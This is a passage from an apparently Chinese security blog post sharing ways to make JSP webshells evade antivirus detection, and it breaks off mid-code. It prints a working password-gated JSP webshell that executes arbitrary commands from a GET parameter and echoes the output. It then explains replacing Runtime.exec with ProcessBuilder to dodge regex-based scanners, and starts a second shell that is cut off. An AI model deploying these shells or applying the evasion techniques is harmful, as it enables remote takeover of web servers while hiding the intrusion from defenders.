0x01、前言最近研究Java相关方面的安全,最后想着看看关于JSP相关的Webshell免杀思路,以下是本人自己对于jspwebshell的免杀思路分享给大家0x02、内置函数免杀/MimeLauncher+反射正常的jsp马,直接通过GET参数调用Runtime中的exec方法进行命令执行,这里如果正则匹配到Runtime.getRuntime().exec则很容易被查杀if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(""); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print(""); } % 我们可以利用ProcessBuilder替换Runtime.getruntime().exec()因为他最终实际上也是调用的ProcessBuilder中的函数,直接使用ProcessBuilder则可以直接替换Runtime从而绕过正则表达式 String pentest = request.getParameter("pentest"); Process process = new ProcessBuilder
………………………………